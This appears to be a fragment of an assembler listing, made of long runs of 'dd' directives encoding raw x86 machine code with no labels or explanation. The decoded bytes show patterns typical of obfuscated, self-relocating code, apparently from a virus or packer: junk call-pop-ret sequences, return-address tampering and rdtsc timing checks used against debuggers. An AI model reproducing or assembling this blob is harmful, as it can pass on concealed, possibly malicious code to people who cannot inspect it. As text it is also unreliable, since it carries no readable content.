2474895Eh, 24448104h, 1804h, 0C3564600h, 2F7EDF52h dd 19D8BCEh, 83064431h, 0B75005C0h, 240489BCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 30C35141h, 0EDCB375Ch dd 4646A186h, 9141BB66h, 6A006Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 54C35141h, 48AF71F2h, 96D8589h dd 95FF0644h, 6441825h, 2F7DBD8Bh, 9D330644h, 64420C5h dd 9A978D8Dh, 0BB660647h, 0D1FF8583h, 6870Fh, 8D890000h dd 64413D1h, 1FB9BD89h, 0BD830644h, 6442F11h, 89850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0CDCC355h, 66EC6922h, 0BD8B8A77h dd 644187Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0AE012C3h, 525090CEh, 5E8h, 245BBD00h dd 0F5B9845h, 6890F31h, 0F000000h, 8Bh, 50585A00h, 0BBF5250h dd 0F4AA425h, 5AFB8B31h, 95899058h, 6442F61h, 296D95FFh dd 0BD8B0644h, 6441875h, 0E1FE9h, 0E800h, 815D0000h, 49092CEDh dd 0B98D8906h, 0E9064423h, 9, 6C1C7F03h, 2C393439h, 57006ADCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E179589Bh, 0EC0C2698h, 58858D1Bh, 8B06478Bh, 4428559Dh dd 0FA8B5006h, 29240489h, 4409398Dh, 35FF6406h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 50C35646h dd 635D579Ah, 6464B31Bh, 2589h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DA4B2C3h dd 68E7872Fh, 660D978Bh, 0F781FA8Bh, 4B05929Bh, 8E985FFh dd 0FE8B0644h, 0A2B7FF6Ah, 2DA3EB81h, 0B5FF51AAh, 6441099h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h dd 5830Fh, 81660000h, 0FF9B04D7h, 44228195h, 13DE906h dd 0D3810000h, 3B920A22h, 896000B0h, 441605B5h, 840F06h dd 61000000h, 2BF59D8Bh, 70E60644h, 33A99501h, 95890644h dd 6441BC9h, 9BBB71E4h, 3C47AABBh, 4830F61h, 60000001h dd 0A39AB966h, 0F61CEB7h, 0D88BC8B6h, 29859589h, 6BA0644h dd 0E8000000h, 12h, 24C907FFh, 0F3239C83h, 4EA252B9h, 3CC8A546h dd 12E9BC1Bh, 92000000h, 25D80ED5h, 0BAEF8438h, 22B716DFh dd 3702FFF2h, 0C18B5B21h, 8104E8C1h, 60C0ADF7h, 0D7BB664Fh dd 0E2F76635h, 29D8D09h, 81660644h, 2B8B0DDFh, 8BDE8BC8h dd 0D78166D1h, 0BE8B5FBh, 3B000000h, 5668EC6Bh, 235E9FE1h dd 8B665735h, 7CE95FDEh, 8B000000h, 442E15BDh, 49858B06h dd 0BB44004Eh, 23E668Eh, 8B07C083h, 4402E5BDh, 0C08306h dd 0A16DEF81h, 0D03B69BAh, 11830Fh, 85010000h, 6442EB1h dd 46E9h, 89BD0B00h, 8B064406h, 0FFFFFF8Dh, 0CDB589FFh dd 8306442Dh, 840F01E1h, 2Bh, 2860Fh, 3EB70000h, 0FFFFA583h dd 0E9FEFFFFh, 8, 0BEB36144h, 0E09FA3F2h, 4E499589h, 0BB664400h dd 0E912EAh, 8D000000h, 48838FB5h, 11E806h, 0AE290000h dd 496487E6h, 380C927Ah, 3FCECC05h, 0B0DF218h, 4416099Dh dd 10E95B06h, 64000000h, 0A44FE0FDh, 0E397F1E8h, 0CF53730Bh dd 6AC9050Fh, 5BD8B00h, 0E9064433h, 14h, 0ABC88F6h, 5F85E282h dd 2A268E3Dh, 2C94C1D8h, 70CF6E29h, 1C4D95FFh, 6A0644h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B3B9B5C3h, 8B000010h, 441BE59Dh, 0FCE18306h, 6860Fh dd 0BD8B0000h, 6441749h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0E9BF00F3h, 13h, 0FDAD48E5h dd 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h, 0E8D981EFh, 0Ah dd 3488BCBh, 43484B73h, 0B70F2B48h, 2BBB5BF8h, 0B81286A1h dd 0 dd 12E8h, 0AE490000h, 103B8546h, 1C6DB04Dh, 39BDCEBAh dd 5196FC7Bh, 25559D8Bh, 5B5B0644h, 25D1BD8Bh, 0BA0644h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 810BC357h, 0E51ECEDDh, 10E9h dd 0FF270A00h, 29B21461h, 8BEFFB64h, 963A72DCh, 0C233AD2Ah dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 2BFAFBB1h dd 8D5BD03h, 14E90644h, 16000000h, 54E63DC7h, 0E2D64AB0h dd 89E84C91h, 5DCA7BBFh, 89327EB8h, 4414ED95h, 880D06h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 669188C3h, 268CD381h, 958B1BB7h, 6442F5Dh dd 29799D89h, 8D8B0644h, 6440679h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 68C35343h, 50A563E7h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C99C7101h dd 18C7FF3h, 8F0F828Eh, 6, 2C81B509h, 0B5890644h, 6442AA5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E9C35545h dd 0DE525D54h, 92E7DF81h, 0BD83377Dh, 6442CADh, 53840F00h dd 0E8000000h, 0Fh, 2129C9C2h, 4A619D35h, 1CAF052Dh, 8A6FF67Ch dd 0B85BFEh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 609BC350h, 99D8D31h dd 9D8B0644h, 6442AA5h, 558D8D61h, 0F06444Eh, 0E1FFDFB7h dd 0BD83D88Bh, 6441071h, 0C8840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0BCDAC350h, 9606167Ch, 8B287E6Eh, 44080D9Dh, 71BD8306h dd 1064410h, 3AC840Fh, 0BD830000h, 6441071h, 69860F03h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 18F6C356h, 8BB39CF3h, 0AEC082F0h dd 18D5BD29h, 4DBF0644h, 60270E9Fh, 6BC38166h, 0FB8B665Bh dd 0E9D98C66h, 0Ch, 0CF444D8h, 413722DAh, 0D15AFA28h, 0F804E180h dd 840FC90Ah, 0BDh, 0CCCF8166h, 0D5858B3Fh, 6A06440Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 898BC351h, 27F6C4A8h, 0BD85335Bh, 66064403h dd 0D318E781h, 1F2DBD2Bh, 50900644h, 0E11A34BFh, 8D899013h dd 6440939h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 7C9921C3h, 20EFCA5Dh, 0AE2F6857h dd 0BF665DBCh, 34810D63h, 0A3ADD024h, 0E2DF815Dh, 0FF370209h dd 44008195h, 0DFBF0F06h, 0B7608589h, 6A0647h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BD896CC3h, 644212Dh, 1F6E9h, 58858B00h, 6A0647B7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0A325C350h, 0F4982FF8h, 0C7FE8B66h, 1800h dd 0FE900h, 9CBC0000h, 0E802D62Ah, 0B4735EEFh, 9EA2824Ah dd 5CB58BE7h, 0E90647B7h, 10h, 0F7C5CBEFh, 255CDEF0h, 0B67E54B4h dd 0B1790802h, 300D858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0DB82ADC3h, 0FCB37F40h dd 0BD0357EEh, 64402D5h, 8B06895Fh, 443101BDh, 0D5858B06h dd 6A06440Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0CBBBC353h, 820F05C1h, 18h, 13E9h dd 45A9E200h, 0DC7A5BCBh, 0A9831F93h, 0D9397B64h, 7920717Dh dd 8E9h, 20814400h, 0E958EBA9h, 44689D4h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C1C35646h, 0CD2D423Ch dd 3940459Ch, 2A699D89h, 9D8B0644h, 6440891h, 8D0F96h dd 50000000h, 96D88B66h, 9777BF66h, 0B758B5FFh, 6A0647h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B4187C3h, 442B85BDh, 66CA6806h, 0DD8A2FCDh, 35243481h dd 6A2FD265h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E81DC351h, 0Ch, 86AE89E9h, 0ED24832Ch dd 0C81D9DF9h, 7E9h, 5FDA4300h, 6E2F1E38h, 810F5Fh, 8D000000h dd 47B76085h, 199D8B06h, 90064421h, 8E8h, 7F642D00h, 670EAAF7h dd 0DE8B6688h, 0DE8B505Bh, 498D8990h, 0FF064428h, 44008195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 251C06ECh, 0BC073C74h, 61FA8B66h, 143D9D0Bh dd 85C70644h, 6441071h, 3, 6BDBD29h, 0BD830644h, 647B760h dd 39840F00h, 89000000h, 44034985h, 49E906h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 979402C3h, 0BE9h, 877FB400h, 4C2F0C37h, 0C6687C2Eh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h dd 0F61F88Ah, 6AF9B7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 92FA0C3h, 440A819Dh, 71BD8306h dd 3064410h, 4BA850Fh, 8D290000h, 64433A1h, 0B760BD83h dd 0F000647h, 4A784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 9D8B5140h, 6441091h, 60B5FF5Fh dd 6A0647B7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 255FC352h, 76FDE95h, 9B40D7F9h dd 8ED9D89h, 95FF0644h, 6440699h, 2DCDBD09h, 0B58B0644h dd 647B754h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 1DC35545h, 7013762h, 6E0861ABh, 106C7F8h, 8B000100h dd 0FE896DAh, 0EF000000h, 37832D30h, 15FB7A18h, 39A92E03h dd 8B6615CFh, 8A505BFEh, 6A96FCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 85891CC3h, 644261Dh dd 0AE59D0Bh, 8AB30644h, 0B760B5FFh, 8B600647h, 95FF61F2h dd 6441E01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0B4C35242h, 5BEBA2B1h, 0DFBF485Ah, 6615F357h, 6D30E781h dd 0B754B58Bh, 0BD290647h, 6441005h, 2E71858Bh, 6A0644h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 5E9786C3h, 0F396EABh, 68Ch, 11BD8B00h, 89064429h, 0C486h dd 8E900h, 0D4A90000h, 45D30AEFh, 958B995Dh, 6442F5Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0B0C35242h dd 14447824h, 11E8h, 0FA18B700h, 6316F3AAh, 0C5891E8Ah dd 28C46ADDh, 0CF817267h, 5EFA2229h, 4C2835Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DBC35747h, 0C66D62C3h dd 0D09E75C9h, 21B58920h, 8906441Eh, 0FE92050h, 0AB000000h dd 11B28C7Ah, 645F3632h, 0C370B4A1h, 0BE90F21h, 0FE000000h dd 7E204016h, 0B48736EAh, 858D604Eh, 647CAA0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 86C35343h, 29686FB9h dd 440CD995h, 0B99D8B06h, 8906442Dh, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0FD08338h, 81h, 6A006A00h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 5705C351h, 0EF78152Eh dd 30418D09h, 0B5FF0644h, 647B760h, 6880F60h, 8B000000h dd 440901BDh, 7FCA8106h, 611ACB2Fh, 296D95FFh, 9D8B0644h dd 6442059h, 89DF8B50h, 6A2434h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 1140ADC3h, 72DD1DD0h dd 0F731B51h, 682h, 91CB8100h, 0FF104BF0h, 47B760B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0C25243Bh, 0DE99A35h, 9A000000h, 67702BFh, 0F8024625h dd 0F426D0F4h, 17D995FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 669B00C3h, 8BEE3E64h dd 440BE99Dh, 55BD8B06h, 83064421h, 4414B5BDh, 840F0006h dd 47h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh dd 12C35646h, 1D6C4072h, 0D10567C1h, 59D8B76h, 0BF06441Ch dd 77E8E038h, 0F576050h, 8Dh, 8B665A00h, 348961C3h, 45BD2B24h dd 0FF064403h, 47B760B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 29B9781Fh dd 442CCD95h, 7D95FF06h, 8B06442Eh, 442B91BDh, 60B5FF06h dd 0E80647B7h, 6, 0BE0997Dh, 0FF5B9ABEh, 44144195h, 2DB58906h dd 8306442Ah, 440A85BDh, 840F0206h, 5Ah, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 1FC35040h, 164D8D89h dd 858B0644h, 6441591h, 46D9D8Bh, 0C60644h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0E28D329Eh, 167D5C16h, 0BB661A05h, 85C7FBCBh, 6441759h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 52C35545h dd 820FD087h, 3, 0E9FE8B66h, 14h, 54957B00h, 288ABDB9h dd 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h, 0FFF2BBE9h, 0C5BD8BFFh dd 8B06440Dh, 816660C1h, 560045D7h, 1FD1BD8Bh, 61580644h dd 1BE1858Dh, 95890644h, 6441FC1h, 0AE9h, 347FAB00h, 0A9B64757h dd 9038D2D1h, 9E8h, 0A3599900h, 4CBEE58Ch, 5250698Fh, 8B0Fh dd 310F0000h, 5AF88B66h, 0E9505F58h, 14h, 3D94E03Ch, 11095465h dd 2EB2BFFh, 0E944FBEBh, 0E156C18h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 6C24544Ah dd 7292B881h, 5E9C0h, 0B3660000h, 6AF96735h, 69BB6600h dd 8B006A55h, 440E15BDh, 0D2858D06h, 6A064919h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 9CF2C351h, 0FE9D180h, 0A4000000h, 5F1C6E5h, 360A387Bh dd 0F761A067h, 0B5898A6Ch, 6441861h, 6A05C083h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 5505C351h, 0D4173396h, 1DDE930Dh, 0E930B060h, 9, 5D3CA49h dd 8DE953F5h, 0BE96187h, 40000000h, 0FE2A5430h, 0F1664E82h dd 509079A5h, 8990F88Bh, 442C519Dh, 81006A06h, 38C2B7EBh dd 0E8006A5Eh, 14h, 0FF5C78CCh, 22E99E4Ch, 636F7A64h, 44876ADh dd 59225C4Dh, 21D5BD8Bh, 0B35B0644h, 2595FFBAh, 6A064418h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 65C355h, 8D296531h, 64417ADh, 9A978D8Dh dd 6A0647h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B9A123C3h, 5C0FFC0h, 6E9h, 3276E00h, 0FF4A7E80h dd 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0F25009B5h, 8166A035h, 662E62C7h, 5718D781h dd 2F11BD83h, 0F010644h, 0A385h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0E916C959h dd 482FA86Ah, 20699589h, 26A0644h, 50FE8B90h, 0E8525060h dd 0Dh, 0D66D7201h, 0AEEFF8E3h, 3E54F40Ch, 310F5EDEh, 585A6160h dd 3830Fh, 8B660000h, 6A9061CAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 4214C350h, 0F7D595h dd 0F4E7E393h, 9098589h, 95FF0644h, 644296Dh, 10E8h, 0ABFBB000h dd 0DC562DD5h, 4764756Fh, 1966663Dh, 75B58949h, 5F064402h dd 0EB1E9h, 0E800h, 815D0000h, 4919DCEDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0FC0C9604h, 0F609AB1h, 0BF0FD0B7h, 0BD8B61C1h, 6441C3Dh dd 8A0Fh, 858D0000h, 6478B58h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 44C35545h, 0E988B999h, 6646BB64h dd 8B90FB8Bh, 669050FBh, 64DC94BBh, 35FFh, 0BD090000h dd 6442A85h, 258964h, 8B000000h, 4430499Dh, 0E985FF06h dd 6A064408h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0DF8DC357h, 1FC23803h, 1C3D9589h dd 0FF6A0644h, 0B5FFDE8Ah, 6441F39h, 12E9h, 1A5D0C00h dd 865A5123h, 3E06EE10h, 8C90AB18h, 0FF280640h, 44228195h dd 0ECE906h, 0FE8B0000h, 0EF8100B0h, 71862DFAh, 853170E6h dd 6442DDDh, 853171E4h, 6442E75h, 830F613Ch, 0CAh, 2BC98D89h dd 0B60F0644h, 6BAC8h, 95890000h, 64407B9h, 0B67737BBh dd 89C18B70h, 442A55B5h, 4E8C106h, 19899D8Bh, 0F7660644h dd 81BB66E2h, 0DBDB81E3h, 2B5F3815h, 0D9BF0FC8h, 8166D18Bh dd 0E986D7EBh, 82h, 931BD8Bh, 858B0644h, 505F4C4Ch, 0AD36CF81h dd 0BB665B63h, 0C0832B61h, 0F99D8B07h, 56064407h, 1A518D89h dd 835F0644h, 0B53100C0h, 6441CE1h, 830FD03Bh, 13h, 5F57B753h dd 0FA1CBF66h, 3DE9h, 898D0900h, 8B064410h, 0FFFFFF8Dh dd 0A1BD8BFFh, 83064433h, 840F01E1h, 22h, 2BA59D89h, 0A5830644h dd 0FFFFFFFFh, 699D89FEh, 8906442Fh, 5F4C4C95h, 3BB6650h dd 0E917h, 0B58D0000h, 6489442h, 6A5F56h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ADC35747h, 721FBCEBh dd 8E92DC2Bh, 4D95FFF8h, 6606441Ch, 8B60DE8Bh, 6820FD7h dd 29000000h, 4416CD8Dh, 3CB96106h, 6A000010h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 3A31C356h, 57E075D3h, 5C5B1563h, 2EF98D29h, 0E1830644h dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 44DF7865h, 563153DDh, 0FFCF98Ah, 0B8D8BFh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 842CC351h, 2723B063h, 762D75FEh dd 4E62BB66h, 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 9E956524h, 7218BFF0h dd 379BD89h, 33AD0644h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0E380FEC3h, 5FBE6660h, 0DBB70FA8h, 880D61h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7EE2A5C3h, 0DC104434h, 0BD33B0C1h, 644000Dh, 2F5D958Bh dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 7576B0C3h, 44228935h, 8D8BA7F6h, 6440679h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CBC35040h dd 9A6503BAh, 2240884Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0BB8A09C3h, 2E6433C1h, 30F1BD29h dd 0BD830644h, 6442CADh, 69840F00h, 3000000h, 440F75BDh dd 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 67415CC3h, 19750285h, 853198BEh dd 64400A1h, 8DD9B70Fh, 444E558Dh, 0FFDE8B06h, 53006AE1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9A5C2534h, 8501BF3Bh, 6440349h, 1071BD83h, 0F000644h dd 4D184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4DED302Fh, 8306F7ABh, 441071BDh dd 840F0106h, 4BDh, 1071BD83h, 0F030644h, 47A86h, 0D58D0100h dd 6006440Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 6DC35141h, 25C5615Eh, 8C6644C3h, 0C1BD8BD9h, 8006441Dh dd 0E38104E1h, 2510E19Eh, 840FC90Ah, 15Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2C35343h, 66B3A9D8h dd 6890Fh, 9D8B0000h, 6442645h, 0D5858BF5h, 6A06440Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h dd 7C29C357h, 8B49E44Dh, 4425D1BDh, 0BD853306h, 66064403h dd 5050D88Bh, 57310F52h, 5A5F5F56h, 24048958h, 0D59FBB66h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 70EF9AC3h, 2C7131B4h, 8E9h, 0AC1B0C00h, 0EEBFD691h dd 0D5B589BBh, 8B06441Fh, 4423D5BDh, 6DF66806h, 0BB661008h dd 34812FF9h, 176E0924h, 56006A10h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0C38197EEh, 19A32A90h dd 8195FFh, 8B660644h, 608589FEh, 6A0647B7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 1685C356h, 567FFDDDh, 204016FEh, 13E9h, 0E3B39400h dd 51E660C7h, 43063DA7h, 7252E92Eh, 70D1D780h, 7E9h, 36C81F00h dd 71C47955h, 23EE9h, 188D0F00h, 0E8000000h, 0Ch, 0E5A860A9h dd 7E04E382h, 0EBE97E6h, 2D25BD89h, 8B5F0644h, 47B75885h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 55B3860Fh, 8B56F954h, 4431A19Dh, 6890F06h dd 1000000h, 440BE185h, 1800C706h, 0F000000h, 0F84h, 0AE900h dd 60130000h, 0B955F672h, 281B98DCh, 32D9589h, 0B58B0644h dd 647B75Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 2FC35242h, 0F19D33BBh, 8B06440Dh, 44300D85h, 5820F06h dd 66000000h, 5E29C381h, 6A0689h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 3CED79C3h, 858BAFCEh dd 6440AD5h, 89DF8B66h, 6A0446h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D0A69C3h, 1B05B509h dd 95890644h, 64433A1h, 24348950h, 0FFF98B66h, 47B758B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 480D736Dh, 1E3F2445h, 0E8FA8B66h, 4, 1F03FFh dd 50DA8B66h, 52505250h, 870Fh, 310F0000h, 13E9h, 68C26300h dd 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah, 310F585Ah dd 0C9BF6656h, 585A5BD7h, 424448Bh, 880F5250h, 2, 310F5F50h dd 13E9h, 8318A600h, 0D8B1AAF0h, 0E3A87EEEh, 0A3CA39EAh dd 6863837h, 8B585Ah, 198C0Fh, 52500000h, 8B0Fh, 310F0000h dd 8E9h, 816AC800h, 6B89CC0Eh, 89585A2Ah, 0E9042444h, 14h dd 4D3DB53h, 0A873F2EEh, 83EA6D9Eh, 57B43E8Ah, 0B97BE4C7h dd 84F38158h, 8D77D279h, 47B76085h, 28D0F06h, 8A000000h dd 98BB50DEh, 8946B960h, 5E92404h, 43000000h, 68DFEC50h dd 10E59D89h, 95FF0644h, 6440081h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 67C35343h, 0E6481895h, 119D2B09h dd 61064422h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 5AC35040h, 106B7FA8h, 16199D1Dh, 0B99D8B39h, 0C706441Ch dd 44107185h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 1CF9EA23h, 0C8E0Fh, 8B0F0000h dd 6, 24619D29h, 0BD830644h, 647B760h, 44840F00h, 0E9000000h dd 11h, 5723E0C1h, 0C8944DACh, 0B3C8F215h, 0F5D2FC57h dd 44E93Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 988612C3h, 0DDDED395h, 39852935h dd 50064410h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8166DEC3h, 83161AE3h, 441071BDh dd 850F0306h, 4AFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 2BC35242h, 83C145FFh, 47B760BDh, 840F0006h dd 483h, 2CB5BD8Bh, 0B5FF0644h, 647B760h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 48C35343h, 0B11364C1h dd 89666047h, 442E95BDh, 9995FF06h, 6A064406h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 8DDEC353h, 884117B6h, 2575B589h, 0BE90644h, 31000000h dd 0D96AF0C3h, 791F8988h, 0B58B82CEh, 647B754h, 15098D89h dd 85310644h, 644104Dh, 106C7h, 870F0001h, 8, 0E1BD0B51h dd 5B064403h, 52506096h, 860F310Fh, 0 dd 0E860585Ah, 11h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h, 91BBB555h dd 5E95E4Bh, 0F9000000h, 0AEBB4C8Ah, 0F506161h, 228Ah dd 12E800h, 0D7240000h, 3A471BC5h, 0AB6DD989h, 92720457h dd 309C82F4h, 5E9h, 7DFE5F00h, 965B9270h, 0B760B5FFh, 6A0647h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0D9098CC3h, 81659CEDh, 3B5271E3h, 195FF03h, 6A06441Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 5243C353h, 8543B374h, 81F58BD6h, 0A82FE1C7h dd 54B58B5Eh, 6A0647B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0E847C356h, 14E402BAh dd 8D0929F7h, 6441F0Dh, 0E14EACBBh, 71858B40h, 6A06442Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0A5D9C355h, 813F8D91h, 8689F689h, 0C4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 3E64669Bh dd 8B6CC4EEh, 442F5D95h, 81958906h, 83064429h, 6A04C2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0B9FD9FC3h, 7A56E3F4h, 89F8BF0Fh, 66602050h, 8AAB52BEh dd 858D61CBh, 647CAA0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0D7C35242h, 29A69B40h, 44100585h, 